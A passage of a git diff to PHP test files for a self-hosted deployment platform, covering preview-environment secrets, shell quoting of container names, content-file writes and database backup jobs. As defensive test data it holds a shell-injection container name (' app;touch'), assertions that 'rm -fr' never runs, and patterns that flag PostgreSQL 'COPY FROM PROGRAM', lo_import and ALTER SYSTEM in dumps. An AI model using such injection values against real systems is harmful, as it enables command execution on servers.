$this->application->environment_variables_preview()->where('key', 'CHANGED_FOR_PREVIEW')->firstOrFail() + ->update(['value' => '{{team.TEAM_SECRET}}']); + + expect(composePreviewEnvironmentValues($this->application, 7)['CHANGED_FOR_PREVIEW'])->toBe('team-secret-value'); +}); diff --git a/tests/Feature/ComposePreviewMagicVariablesTest.php b/tests/Feature/ComposePreviewMagicVariablesTest.php new file mode 100644 index 0000000000..fcdf777695 --- /dev/null +++ b/tests/Feature/ComposePreviewMagicVariablesTest.php @@ -0,0 +1,217 @@ +create(); + $server = Server::factory()->create(['team_id' => $team->id]); + $destination = StandaloneDocker::query()->where('server_id', $server->id)->first() + ?? StandaloneDocker::factory()->create(['server_id' => $server->id]); + $project = Project::factory()->create(['team_id' => $team->id]); + $environment = Environment::factory()->create(['project_id' => $project->id]); + + $this->application = Application::factory()->create([ + 'build_pack' => 'dockercompose', + 'environment_id' => $environment->id, + 'destination_id' => $destination->id, + 'destination_type' => $destination->getMorphClass(), + 'docker_compose_raw' => <<<'YAML' +services: + db: + image: postgres:16-alpine + environment: + POSTGRES_USER: ${SERVICE_USER_DB} + POSTGRES_PASSWORD: ${SERVICE_PASSWORD_DB} +YAML, + ]); +}); + +function composePreviewMagicParse(Application $application, int $pullRequestId = 0): void +{ + $previewId = null; + if ($pullRequestId !== 0) { + $previewId = ApplicationPreview::query()->firstOrCreate([ + 'application_id' => $application->id, + 'pull_request_id' => $pullRequestId, + ], [ + 'pull_request_html_url' => "https://github.com/example/repository/pull/{$pullRequestId}", + ])->id; + } + + $application->fresh()->parse(pull_request_id: $pullRequestId, preview_id: $previewId); +} + +/** + * @return array{production: array, preview: array} + */ +function composePreviewMagicValues(Application $application): array +{ + $keys = ['SERVICE_PASSWORD_DB', 'SERVICE_USER_DB']; + + return [ + 'production' => $application->environment_variables()->whereIn('key', $keys)->pluck('value', 'key')->sortKeys()->all(), + 'preview' => $application->environment_variables_preview()->whereIn('key', $keys)->pluck('value', 'key')->sortKeys()->all(), + ]; +} + +it('generates the magic variables of a first pull request parse only in the preview variables', function () { + composePreviewMagicParse($this->application, 7); + + $values = composePreviewMagicValues($this->application); + expect($values['production'])->toBe([]) + ->and(array_keys($values['preview']))->toBe(['SERVICE_PASSWORD_DB', 'SERVICE_USER_DB']) + ->and($values['preview']['SERVICE_PASSWORD_DB'])->not->toBeEmpty(); + + // The production deployment generates its own values and keeps the preview values. + composePreviewMagicParse($this->application); + + $afterProduction = composePreviewMagicValues($this->application); + expect($afterProduction['preview'])->toBe($values['preview']) + ->and($afterProduction['production']['SERVICE_PASSWORD_DB'])->not->toBeEmpty() + ->and($afterProduction['production']['SERVICE_PASSWORD_DB'])->not->toBe($values['preview']['SERVICE_PASSWORD_DB']); +}); + +it('does not copy a generated production magic secret to the preview variables', function (string $key) { + EnvironmentVariable::create([ + 'key' => $key, + 'value' => 'production-secret', + 'is_preview' => false, + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + expect($this->application->environment_variables_preview()->where('key', $key)->exists())->toBeFalse(); +})->with([ + 'SERVICE_PASSWORD_DB', + 'SERVICE_PASSWORD_64_DB', + 'SERVICE_PASSWORDWITHSYMBOLS_DB', + 'SERVICE_USER_DB', + 'SERVICE_LOWERCASEUSER_DB', + 'SERVICE_BASE64_DB', + 'SERVICE_BASE64_64_DB', + 'SERVICE_BASE64_128_DB', + 'SERVICE_REALBASE64_DB', + 'SERVICE_HEX_32_DB', +]); + +it('still copies a normal or service url production variable to the preview variables', function (string $key) { + EnvironmentVariable::create([ + 'key' => $key, + 'value' => 'production-value', + 'is_preview' => false, + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + expect($this->application->environment_variables_preview()->where('key', $key)->value('value'))->toBe('production-value'); +})->with(['DATABASE_HOST', 'SERVICE_URL_DB', 'SERVICE_FQDN_DB', 'SERVICE_PASSWORD_DB_MAIN']); + +it('gives a private pull request its own magic values instead of the production values', function () { + composePreviewMagicParse($this->application); + $production = composePreviewMagicValues($this->application)['production']; + + composePreviewMagicParse($this->application, 7); + + $values = composePreviewMagicValues($this->application); + expect($values['production'])->toBe($production) + ->and(array_keys($values['preview']))->toBe(['SERVICE_PASSWORD_DB', 'SERVICE_USER_DB']) + ->and($values['preview']['SERVICE_PASSWORD_DB'])->not->toBeEmpty() + ->and($values['preview']['SERVICE_PASSWORD_DB'])->not->toBe($production['SERVICE_PASSWORD_DB']) + ->and($values['preview']['SERVICE_USER_DB'])->not->toBe($production['SERVICE_USER_DB']); + + // The next pull request parse keeps the preview values, so the preview database keeps its password. + composePreviewMagicParse($this->application, 7); + + expect(composePreviewMagicValues($this->application))->toBe($values); +}); + +it('keeps an existing preview copy of a production magic value for a private pull request', function () { + composePreviewMagicParse($this->application); + $production = composePreviewMagicValues($this->application)['production']; + // A preview copy that an earlier version created; existing preview databases use this password. + $this->application->environment_variables_preview()->create([ + 'key' => 'SERVICE_PASSWORD_DB', + 'value' => $production['SERVICE_PASSWORD_DB'], + 'is_preview' => true, + ]); + + composePreviewMagicParse($this->application, 7); + + expect(composePreviewMagicValues($this->application)['preview']['SERVICE_PASSWORD_DB'])->toBe($production['SERVICE_PASSWORD_DB']); +}); + +it('keeps a preview magic variable that the user created', function () { + EnvironmentVariable::create([ + 'key' => 'SERVICE_PASSWORD_DB', + 'value' => 'user-preview-password', + 'is_preview' => true, + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + composePreviewMagicParse($this->application, 7); + + expect(composePreviewMagicValues($this->application)['preview']['SERVICE_PASSWORD_DB'])->toBe('user-preview-password'); +}); + +it('gives a public pull request its own magic values instead of the production values', function () { + composePreviewMagicParse($this->application); + $production = composePreviewMagicValues($this->application)['production']; + $this->application->settings->update(['is_pr_deployments_public_enabled' => true]); + + composePreviewMagicParse($this->application, 7); + + $values = composePreviewMagicValues($this->application); + expect($values['production'])->toBe($production) + ->and($values['preview']['SERVICE_PASSWORD_DB'])->not->toBeEmpty() + ->and($values['preview']['SERVICE_PASSWORD_DB'])->not->toBe($production['SERVICE_PASSWORD_DB']) + ->and($values['preview']['SERVICE_USER_DB'])->not->toBe($production['SERVICE_USER_DB']); + + // The next pull request parse keeps the preview values, so the preview database keeps its password. + composePreviewMagicParse($this->application, 7); + + expect(composePreviewMagicValues($this->application))->toBe($values); +}); + +it('keeps a changed preview magic value of a public pull request', function () { + composePreviewMagicParse($this->application); + $this->application->settings->update(['is_pr_deployments_public_enabled' => true]); + $this->application->environment_variables_preview()->create([ + 'key' => 'SERVICE_PASSWORD_DB', + 'value' => 'preview-password', + 'is_preview' => true, + ]); + + composePreviewMagicParse($this->application, 7); + + expect(composePreviewMagicValues($this->application)['preview']['SERVICE_PASSWORD_DB'])->toBe('preview-password'); +}); + +it('replaces an existing preview copy of a production magic value for a public pull request', function () { + composePreviewMagicParse($this->application); + $production = composePreviewMagicValues($this->application)['production']; + $this->application->environment_variables_preview()->create([ + 'key' => 'SERVICE_PASSWORD_DB', + 'value' => $production['SERVICE_PASSWORD_DB'], + 'is_preview' => true, + ]); + $this->application->settings->update(['is_pr_deployments_public_enabled' => true]); + + composePreviewMagicParse($this->application, 7); + + expect(composePreviewMagicValues($this->application)['preview']['SERVICE_PASSWORD_DB']) + ->not->toBeEmpty() + ->not->toBe($production['SERVICE_PASSWORD_DB']); +}); diff --git a/tests/Feature/ComposeStaleVolumeTest.php b/tests/Feature/ComposeStaleVolumeTest.php index 17b2b251d4..ad85fc3729 100644 --- a/tests/Feature/ComposeStaleVolumeTest.php +++ b/tests/Feature/ComposeStaleVolumeTest.php @@ -95,7 +95,7 @@ it('deletes the entry of a volume that the Compose file no longer declares', fun $name = staleVolume('third')->name; $commands = []; Process::fake(function ($process) use (&$commands) { - $commands[] = is_array($process->command) ? implode(' ', $process->command) : $process->command; + $commands[] = is_array(remoteProcessScript($process)) ? implode(' ', remoteProcessScript($process)) : remoteProcessScript($process); return Process::result(output: ''); }); diff --git a/tests/Feature/ComposeVolumeDriverOptionsTest.php b/tests/Feature/ComposeVolumeDriverOptionsTest.php index ebd79a1dc3..46668b1f1f 100644 --- a/tests/Feature/ComposeVolumeDriverOptionsTest.php +++ b/tests/Feature/ComposeVolumeDriverOptionsTest.php @@ -527,7 +527,7 @@ describe('storage page', function () { $volume = LocalPersistentVolume::where('name', $name)->sole(); $commands = []; Process::fake(function ($process) use (&$commands) { - $commands[] = is_array($process->command) ? implode(' ', $process->command) : $process->command; + $commands[] = is_array(remoteProcessScript($process)) ? implode(' ', remoteProcessScript($process)) : remoteProcessScript($process); return Process::result(output: ''); }); diff --git a/tests/Feature/ContainerFilesystemServiceTest.php b/tests/Feature/ContainerFilesystemServiceTest.php index aa24f3fafe..24d221c064 100644 --- a/tests/Feature/ContainerFilesystemServiceTest.php +++ b/tests/Feature/ContainerFilesystemServiceTest.php @@ -157,9 +157,9 @@ it('lists through a locked-down helper container that runs as the container proc $server->update(['user' => 'root']); $commands = []; Process::fake(function ($process) use (&$commands) { - $commands[] = $process->command; + $commands[] = remoteProcessScript($process); - return str_contains($process->command, '/status') + return str_contains(remoteProcessScript($process), '/status') ? Process::result(output: fsProcessStatus('65532', '0', '0 1000', '0000000000000000')) : Process::result(output: "regular file\t9\t1\t644\troot\troot\t./users.yml"); }); @@ -189,7 +189,7 @@ it('wraps the helper command in one sudo shell for non-root servers', function ( $server->update(['user' => 'deploy']); $commands = []; Process::fake(function ($process) use (&$commands) { - $commands[] = $process->command; + $commands[] = remoteProcessScript($process); return count($commands) === 1 ? Process::result(output: fsProcessStatus('0', '0', '0', '00000000a80425fb')) @@ -264,7 +264,7 @@ it('writes content near or above the shell argument limit via docker cp', functi (new ContainerFilesystemService($server, 'app-123'))->write('/app/big.txt', str_repeat('a', $size)); - Process::assertRan(fn ($process) => str_contains($process->command, 'docker cp')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'docker cp')); })->with([96 * 1024, 200_000]); it('base64-encodes content in the write command', function () { @@ -363,8 +363,8 @@ it('uploads by scp-ing to the server then docker cp into the container', functio (new ContainerFilesystemService($server, 'app-123'))->upload($local, '/app/plugins/x.jar'); - Process::assertRan(fn ($process) => str_contains($process->command, 'docker cp') - && str_contains($process->command, 'app-123')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'docker cp') + && str_contains(remoteProcessScript($process), 'app-123')); @unlink($local); }); @@ -379,7 +379,7 @@ it('executes read guards for real file bytes through the non-root sudo parser', $path = tempnam(sys_get_temp_dir(), 'fs-read-'); file_put_contents($path, $content); Process::fake(function ($process) { - $lines = explode("\n", $process->command); + $lines = explode("\n", remoteProcessScript($process)); $body = implode("\n", array_slice($lines, 1, -1)); $local = new Symfony\Component\Process\Process([ 'bash', '-c', @@ -415,7 +415,7 @@ it('rejects a symlink to an oversized file before reading its content', function fclose($handle); symlink($path, $link); Process::fake(function ($process) { - $body = implode("\n", array_slice(explode("\n", $process->command), 1, -1)); + $body = implode("\n", array_slice(explode("\n", remoteProcessScript($process)), 1, -1)); $local = new Symfony\Component\Process\Process(['bash', '-c', 'sudo() { "$@"; }; docker() { shift 2; "$@"; }; export -f sudo docker;'."\n".$body]); $local->run(); @@ -461,13 +461,13 @@ it('streams the remote command output to the writer in chunks', function () { $server = fsServer(); $svc = new class($server, 'app-123') extends ContainerFilesystemService { - public ?string $remoteCommand = null; + public string $stdinFile; - protected function sshCommand(string $command): string + protected function sshCommand(): string { - $this->remoteCommand = $command; + $this->stdinFile = tempnam(sys_get_temp_dir(), 'fs-stream-'); - return 'head -c 200000 /dev/zero'; + return 'cat > '.escapeshellarg($this->stdinFile).'; head -c 200000 /dev/zero'; } }; $received = ''; @@ -478,7 +478,9 @@ it('streams the remote command output to the writer in chunks', function () { $chunks++; }); - expect($svc->remoteCommand)->toEndWith("docker exec 'app-123' cat -- '/app/a.bin'"); + $remoteCommand = file_get_contents($svc->stdinFile); + unlink($svc->stdinFile); + expect($remoteCommand)->toEndWith("docker exec 'app-123' cat -- '/app/a.bin'\n"); expect(strlen($received))->toBe(200000); expect($chunks)->toBeGreaterThan(1); }); diff --git a/tests/Feature/ContainerNameShellQuotingTest.php b/tests/Feature/ContainerNameShellQuotingTest.php index 0fa8a6c6eb..db32576d83 100644 --- a/tests/Feature/ContainerNameShellQuotingTest.php +++ b/tests/Feature/ContainerNameShellQuotingTest.php @@ -85,12 +85,12 @@ function quotingUseNonRootUser(): void function quotingAssertCommandRan(string $command): void { - Process::assertRan(fn ($process) => str_contains($process->command, $command)); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), $command)); } function quotingAssertNoUnquotedName(): void { - Process::assertDidntRun(fn ($process) => str_contains($process->command, ' app;touch')); + Process::assertDidntRun(fn ($process) => str_contains(remoteProcessScript($process), ' app;touch')); } test('stopping a service application quotes its container name', function (bool $nonRoot, string $sudo) { @@ -155,7 +155,7 @@ test('a scheduled task in a service quotes the container name', function (bool $ function quotingFakeApplicationContainer(string $name): void { Process::fake(function ($process) use ($name) { - if (str_contains($process->command, 'docker ps -a --filter')) { + if (str_contains(remoteProcessScript($process), 'docker ps -a --filter')) { return Process::result(output: json_encode(['Names' => $name, 'Labels' => 'coolify.applicationId=1', 'State' => 'running'])); } @@ -183,7 +183,7 @@ test('stopping an application quotes the container names from docker ps', functi StopApplication::run($application, dockerCleanup: false); quotingAssertCommandRan("{$sudo}docker stop --timeout="); - Process::assertRan(fn ($process) => preg_match('/docker stop --timeout=\d+ '.preg_quote($quoted, '/').'\n/', $process->command) === 1); + Process::assertRan(fn ($process) => preg_match('/docker stop --timeout=\d+ '.preg_quote($quoted, '/').'\n/', remoteProcessScript($process)) === 1); quotingAssertCommandRan("\n{$sudo}docker rm -f {$quoted}\n"); quotingAssertNoUnquotedName(); })->with(['root' => [false, ''], 'non-root' => [true, 'sudo ']]); @@ -196,7 +196,7 @@ test('stopping an application preview quotes the container names from docker ps' 'pull_request_html_url' => 'https://example.com/pull/1', ]); Process::fake(function ($process) { - if (str_contains($process->command, 'docker ps -a --filter')) { + if (str_contains(remoteProcessScript($process), 'docker ps -a --filter')) { return Process::result(output: json_encode(['Names' => QUOTING_HOSTILE_NAME, 'Labels' => 'coolify.applicationId=1,coolify.pullRequestId=1'])); } @@ -206,7 +206,7 @@ test('stopping an application preview quotes the container names from docker ps' StopApplicationPreview::run($preview); - Process::assertRan(fn ($process) => preg_match('/docker stop --timeout=\d+ '.preg_quote($quoted, '/').'\n/', $process->command) === 1); + Process::assertRan(fn ($process) => preg_match('/docker stop --timeout=\d+ '.preg_quote($quoted, '/').'\n/', remoteProcessScript($process)) === 1); quotingAssertCommandRan("\ndocker rm -f {$quoted}\n"); quotingAssertNoUnquotedName(); }); @@ -218,7 +218,7 @@ test('stopping an application on one server quotes the container names from dock StopApplicationOneServer::run($application, $this->server); - Process::assertRan(fn ($process) => preg_match('/docker stop --timeout=\d+ '.preg_quote($quoted, '/').'\n/', $process->command) === 1); + Process::assertRan(fn ($process) => preg_match('/docker stop --timeout=\d+ '.preg_quote($quoted, '/').'\n/', remoteProcessScript($process)) === 1); quotingAssertNoUnquotedName(); }); diff --git a/tests/Feature/ContainerOwnerUuidLabelsTest.php b/tests/Feature/ContainerOwnerUuidLabelsTest.php index 52da7c52e5..8472c90b57 100644 --- a/tests/Feature/ContainerOwnerUuidLabelsTest.php +++ b/tests/Feature/ContainerOwnerUuidLabelsTest.php @@ -87,7 +87,7 @@ describe('container lookups for services and databases', function () { ]); $commands = collect(); Process::fake(function ($process) use ($commands) { - $commands->push($process->command); + $commands->push(remoteProcessScript($process)); return Process::result(output: ''); }); diff --git a/tests/Feature/ContentFilesBeforeComposeUpTest.php b/tests/Feature/ContentFilesBeforeComposeUpTest.php index f4b5ec8f6c..054b812b17 100644 --- a/tests/Feature/ContentFilesBeforeComposeUpTest.php +++ b/tests/Feature/ContentFilesBeforeComposeUpTest.php @@ -97,7 +97,7 @@ function fakeContentFilesServer(array $states): void ContentFilesUpRecorder::$commands = []; Process::fake(function ($process) use ($states) { - $command = is_array($process->command) ? implode(' ', $process->command) : $process->command; + $command = is_array(remoteProcessScript($process)) ? implode(' ', remoteProcessScript($process)) : remoteProcessScript($process); ContentFilesUpRecorder::$commands[] = ['ssh', $command]; if (str_contains($command, 'empty-directory')) { @@ -132,9 +132,9 @@ function contentFilesStateChecks(): array function contentFilesAssertNoWrite(): void { - Process::assertDidntRun(fn ($process) => str_contains($process->command, 'base64 -d')); - Process::assertDidntRun(fn ($process) => str_contains($process->command, 'rmdir')); - Process::assertDidntRun(fn ($process) => str_contains($process->command, 'rm -fr')); + Process::assertDidntRun(fn ($process) => str_contains(remoteProcessScript($process), 'base64 -d')); + Process::assertDidntRun(fn ($process) => str_contains(remoteProcessScript($process), 'rmdir')); + Process::assertDidntRun(fn ($process) => str_contains(remoteProcessScript($process), 'rm -fr')); } beforeEach(function () { @@ -256,9 +256,9 @@ test('a Compose deployment checks all content files with one server command', fu ->toContain(escapeshellarg($second->fs_path)) ->toContain(escapeshellarg($third->fs_path)) ->and($this->logEntries)->toContain(['Writing 1 missing configuration file.', 'stdout']); - Process::assertRan(fn ($process) => str_contains($process->command, 'tee '.escapeshellarg($second->fs_path))); - Process::assertDidntRun(fn ($process) => str_contains($process->command, 'tee '.escapeshellarg($first->fs_path))); - Process::assertDidntRun(fn ($process) => str_contains($process->command, 'tee '.escapeshellarg($third->fs_path))); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'tee '.escapeshellarg($second->fs_path))); + Process::assertDidntRun(fn ($process) => str_contains(remoteProcessScript($process), 'tee '.escapeshellarg($first->fs_path))); + Process::assertDidntRun(fn ($process) => str_contains(remoteProcessScript($process), 'tee '.escapeshellarg($third->fs_path))); }); test('a Compose deployment does not change a content file that exists on the server', function () { @@ -286,7 +286,7 @@ test('a Compose deployment replaces an empty directory with the content file', f ->and($write)->toBeLessThan(ContentFilesUpRecorder::indexOf('deployment', ' up -d')) ->and(strpos($writeCommand, "rmdir {$escapedPath}"))->toBeLessThan(strpos($writeCommand, "tee {$escapedPath}")) ->and($this->logEntries)->toContain(['Writing 1 missing configuration file.', 'stdout']); - Process::assertDidntRun(fn ($process) => str_contains($process->command, 'rm -fr')); + Process::assertDidntRun(fn ($process) => str_contains(remoteProcessScript($process), 'rm -fr')); }); test('a Compose deployment keeps a directory that is not empty and shows a warning', function () { @@ -420,8 +420,8 @@ test('the content file check and write are safe for non-root servers', function $escapedPath = escapeshellarg($volume->fs_path); expect(contentFilesStateChecks())->not->toBeEmpty() ->and(contentFilesStateChecks()[0])->toContain("sudo bash -c 'sh -c "); - Process::assertRan(fn ($process) => str_contains($process->command, "sudo rmdir {$escapedPath}") - && str_contains($process->command, "| sudo tee {$escapedPath}")); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), "sudo rmdir {$escapedPath}") + && str_contains(remoteProcessScript($process), "| sudo tee {$escapedPath}")); }); test('starting a service writes missing content files before docker compose up', function () { @@ -446,10 +446,10 @@ test('starting a service writes missing content files before docker compose up', ->and($command)->toContain("echo 'Warning: A directory that is not empty is at {$workerConf->fs_path} on the server.") ->and(strpos($command, 'Writing 1 missing configuration file.'))->toBeLessThan(strpos($command, ' up -d')) ->and($command)->not->toContain(base64_encode('listen 8080;')); - Process::assertRan(fn ($process) => str_contains($process->command, 'base64 -d | tee '.escapeshellarg($appConf->fs_path)) - && str_contains($process->command, base64_encode('listen 8080;'))); - Process::assertDidntRun(fn ($process) => str_contains($process->command, 'tee '.escapeshellarg($workerConf->fs_path))); - Process::assertDidntRun(fn ($process) => str_contains($process->command, 'rm -fr')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'base64 -d | tee '.escapeshellarg($appConf->fs_path)) + && str_contains(remoteProcessScript($process), base64_encode('listen 8080;'))); + Process::assertDidntRun(fn ($process) => str_contains(remoteProcessScript($process), 'tee '.escapeshellarg($workerConf->fs_path))); + Process::assertDidntRun(fn ($process) => str_contains(remoteProcessScript($process), 'rm -fr')); }); test('deploying one service application writes only its missing content files', function () { @@ -472,8 +472,8 @@ test('deploying one service application writes only its missing content files', expect(contentFilesStateChecks())->toHaveCount(1) ->and(contentFilesStateChecks()[0])->not->toContain(escapeshellarg($workerConf->fs_path)) ->and(strpos($command, 'Writing 1 missing configuration file.'))->toBeLessThan(strpos($command, ' up -d')); - Process::assertRan(fn ($process) => str_contains($process->command, 'tee '.escapeshellarg($appConf->fs_path))); - Process::assertDidntRun(fn ($process) => str_contains($process->command, 'tee '.escapeshellarg($workerConf->fs_path))); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'tee '.escapeshellarg($appConf->fs_path))); + Process::assertDidntRun(fn ($process) => str_contains(remoteProcessScript($process), 'tee '.escapeshellarg($workerConf->fs_path))); }); test('starting a service without content files does not run the file check', function () { @@ -523,8 +523,8 @@ test('the storage save job writes the content again when the same file exists', $writes = array_filter(ContentFilesUpRecorder::ssh(), fn (string $command) => str_contains($command, 'base64 -d | tee '.escapeshellarg($volume->fs_path))); expect($writes)->toHaveCount(2); - Process::assertDidntRun(fn ($process) => str_contains($process->command, 'rm -fr')); - Process::assertDidntRun(fn ($process) => str_contains($process->command, 'rmdir')); + Process::assertDidntRun(fn ($process) => str_contains(remoteProcessScript($process), 'rm -fr')); + Process::assertDidntRun(fn ($process) => str_contains(remoteProcessScript($process), 'rmdir')); }); test('the storage save job replaces an empty directory with the content file', function () { @@ -534,11 +534,11 @@ test('the storage save job replaces an empty directory with the content file', f (new ServerStorageSaveJob($volume))->handle(); $escapedPath = escapeshellarg($volume->fs_path); - Process::assertRan(fn ($process) => str_contains($process->command, "rmdir {$escapedPath}") - && str_contains($process->command, base64_encode(CONTENT_FILES_UP_CONTENT)) - && strpos($process->command, "rmdir {$escapedPath}") < strpos($process->command, "tee {$escapedPath}")); - Process::assertDidntRun(fn ($process) => str_contains($process->command, 'rm -fr')); - Process::assertDidntRun(fn ($process) => str_contains($process->command, "touch {$escapedPath}")); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), "rmdir {$escapedPath}") + && str_contains(remoteProcessScript($process), base64_encode(CONTENT_FILES_UP_CONTENT)) + && strpos(remoteProcessScript($process), "rmdir {$escapedPath}") < strpos(remoteProcessScript($process), "tee {$escapedPath}")); + Process::assertDidntRun(fn ($process) => str_contains(remoteProcessScript($process), 'rm -fr')); + Process::assertDidntRun(fn ($process) => str_contains(remoteProcessScript($process), "touch {$escapedPath}")); }); test('the storage save job does not delete a directory that is not empty', function () { @@ -573,8 +573,8 @@ test('the server file sync replaces an empty directory with the content file', f expect($volume->fresh()) ->is_directory->toBeFalsy() ->content->toBe(CONTENT_FILES_UP_CONTENT); - Process::assertRan(fn ($process) => str_contains($process->command, 'rmdir')); - Process::assertRan(fn ($process) => str_contains($process->command, 'base64 -d')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'rmdir')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'base64 -d')); }); test('the server file sync still marks a storage without content as a directory', function () { diff --git a/tests/Feature/CreateScheduledBackupValidationTest.php b/tests/Feature/CreateScheduledBackupValidationTest.php index 071fdd2035..a2fd3367f0 100644 --- a/tests/Feature/CreateScheduledBackupValidationTest.php +++ b/tests/Feature/CreateScheduledBackupValidationTest.php @@ -226,7 +226,7 @@ it('backs up sqlite files added to the database after the backup was scheduled', $commands = collect(); Process::fake(function ($process) use ($commands) { - $commands->push(is_array($process->command) ? implode(' ', $process->command) : $process->command); + $commands->push(is_array(remoteProcessScript($process)) ? implode(' ', remoteProcessScript($process)) : remoteProcessScript($process)); return Process::result(output: ''); }); diff --git a/tests/Feature/DashboardServerMetricsChartTest.php b/tests/Feature/DashboardServerMetricsChartTest.php index f5e1522757..fce49f1aab 100644 --- a/tests/Feature/DashboardServerMetricsChartTest.php +++ b/tests/Feature/DashboardServerMetricsChartTest.php @@ -102,5 +102,5 @@ it('loads dashboard metrics over SSH for a reachable server', function () { ], ); - Process::assertRan(fn ($process) => str_contains($process->command, 'coolify-sentinel')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'coolify-sentinel')); }); diff --git a/tests/Feature/DatabaseBackupInstanceDatabaseTest.php b/tests/Feature/DatabaseBackupInstanceDatabaseTest.php index acad0bbf28..839cd8ef0e 100644 --- a/tests/Feature/DatabaseBackupInstanceDatabaseTest.php +++ b/tests/Feature/DatabaseBackupInstanceDatabaseTest.php @@ -53,7 +53,7 @@ it('backs up a user database named coolify-db as an ordinary database', function ])->save(); $commands = collect(); Process::fake(function ($process) use ($commands) { - $command = is_array($process->command) ? implode(' ', $process->command) : $process->command; + $command = is_array(remoteProcessScript($process)) ? implode(' ', remoteProcessScript($process)) : remoteProcessScript($process); $commands->push($command); return Process::result(output: str_contains($command, 'du -b') ? '128' : ''); diff --git a/tests/Feature/DatabaseBackupMultipleS3DestinationsTest.php b/tests/Feature/DatabaseBackupMultipleS3DestinationsTest.php index 7b6a26bd22..4acf47a048 100644 --- a/tests/Feature/DatabaseBackupMultipleS3DestinationsTest.php +++ b/tests/Feature/DatabaseBackupMultipleS3DestinationsTest.php @@ -87,7 +87,7 @@ function runMultiS3BackupJob(array $failingStorages): array $backup = createMultiS3Backup(); $commands = collect(); Process::fake(function ($process) use ($commands) { - $command = is_array($process->command) ? implode(' ', $process->command) : $process->command; + $command = is_array(remoteProcessScript($process)) ? implode(' ', remoteProcessScript($process)) : remoteProcessScript($process); $commands->push($command); return Process::result(output: str_contains($command, 'du -b') ? '128' : ''); @@ -321,15 +321,27 @@ describe('backup job', function () { $sshDisk = Storage::disk('ssh-keys'); Storage::shouldReceive('disk')->with('ssh-keys')->andReturn($sshDisk); Storage::shouldReceive('build')->andReturn($disk); - Process::fake(fn ($process) => Process::result(output: str_contains($process->command, 'du -b') ? '128' : '')); + $commands = collect(); + Process::fake(function ($process) use ($commands) { + $commands->push(remoteProcessScript($process)); + + return Process::result(output: str_contains(remoteProcessScript($process), 'du -b') ? '128' : ''); + }); (new DatabaseBackupJob($backup))->handle(); expect(ScheduledDatabaseBackupExecution::query()->sole()->s3_uploaded)->toBeTrue(); - Process::assertRan(fn ($process) => str_contains($process->command, "-e 'MC_REGION=ru-central-1'") - && str_contains($process->command, 'temporary/first-bucket/')); - Process::assertRan(fn ($process) => str_contains($process->command, "-e 'MC_REGION=us-east-1'") - && str_contains($process->command, 'temporary/second-bucket/')); + $regionOfBucket = []; + $region = null; + foreach ($commands as $command) { + if (preg_match("/-e 'MC_REGION=([^']+)'/", $command, $match)) { + $region = $match[1]; + } + if (preg_match("#mc cp .*'temporary/([^/']+)/#", $command, $match)) { + $regionOfBucket[$match[1]] = $region; + } + } + expect($regionOfBucket)->toBe(['first-bucket' => 'ru-central-1', 'second-bucket' => 'us-east-1']); }); it('keeps the local file and names the failed destination when one upload fails', function () { @@ -442,7 +454,7 @@ it('requires a live S3 copy for local retention only when local backups are disa } $commands = collect(); Process::fake(function ($process) use ($commands) { - $commands->push(is_array($process->command) ? implode(' ', $process->command) : $process->command); + $commands->push(is_array(remoteProcessScript($process)) ? implode(' ', remoteProcessScript($process)) : remoteProcessScript($process)); return Process::result(); }); diff --git a/tests/Feature/DatabaseBackupPerDatabaseStateTest.php b/tests/Feature/DatabaseBackupPerDatabaseStateTest.php index 65821b03b5..ab80731f60 100644 --- a/tests/Feature/DatabaseBackupPerDatabaseStateTest.php +++ b/tests/Feature/DatabaseBackupPerDatabaseStateTest.php @@ -54,7 +54,7 @@ it('keeps the successful execution of an earlier database when creating the next ])->save(); $commands = collect(); Process::fake(function ($process) use ($commands) { - $command = is_array($process->command) ? implode(' ', $process->command) : $process->command; + $command = is_array(remoteProcessScript($process)) ? implode(' ', remoteProcessScript($process)) : remoteProcessScript($process); $commands->push($command); return Process::result(output: str_contains($command, 'du -b') ? '128' : ''); @@ -95,7 +95,7 @@ it('finishes the execution of every database in a run with several databases', f 'team_id' => $team->id, ])->save(); Process::fake(function ($process) { - $command = is_array($process->command) ? implode(' ', $process->command) : $process->command; + $command = is_array(remoteProcessScript($process)) ? implode(' ', remoteProcessScript($process)) : remoteProcessScript($process); if (str_contains($command, 'pg_dump') && str_contains($command, 'second')) { return Process::result(errorOutput: 'pg_dump: database "second" does not exist', exitCode: 1); } diff --git a/tests/Feature/DatabaseBackupUploadValidationTest.php b/tests/Feature/DatabaseBackupUploadValidationTest.php index 31589dc7f8..756795fbeb 100644 --- a/tests/Feature/DatabaseBackupUploadValidationTest.php +++ b/tests/Feature/DatabaseBackupUploadValidationTest.php @@ -257,16 +257,42 @@ test('postgresql backup safety scanner allows copy from stdin data', function () expect(DatabaseBackupFileValidator::containsPostgresqlProgramExecution($dump))->toBeFalse(); }); -// Decided trade-off: an unanchored "TO/FROM PROGRAM" match cannot tell a real COPY -// directive from the same two words in a data row, and we keep it unanchored so it -// also catches dynamic SQL. A dump whose data literally contains "from program" or -// "to program" is therefore blocked, with an error that points to the container -// terminal for trusted dumps. This is rare in practice. -test('postgresql backup safety scanner blocks the program token pair even inside table data', function () { - $dump = "COPY notes FROM stdin;\n1\tcopy files from program storage\n\\.\n"; +// pg_dump writes table data as COPY ... FROM stdin rows that end with a "\." line. The rows are +// data, not SQL, so ordinary text in them must not block the restore. Statements outside such a +// block are still scanned, also when they follow one. +dataset('postgresql copy data rows', [ + 'program words' => ["COPY public.notes (id, body) FROM stdin;\n1\thow to program\n2\timported from program files\n3\tcopy files to program storage\n\\.\n"], + 'large object call text' => ["COPY public.notes (id, body) FROM stdin;\n1\tcall lo_import(path) on the server\n\\.\n"], + 'alter system text' => ["COPY public.notes (id, body) FROM stdin;\n1\trun ALTER SYSTEM SET work_mem then reload\n\\.\n"], 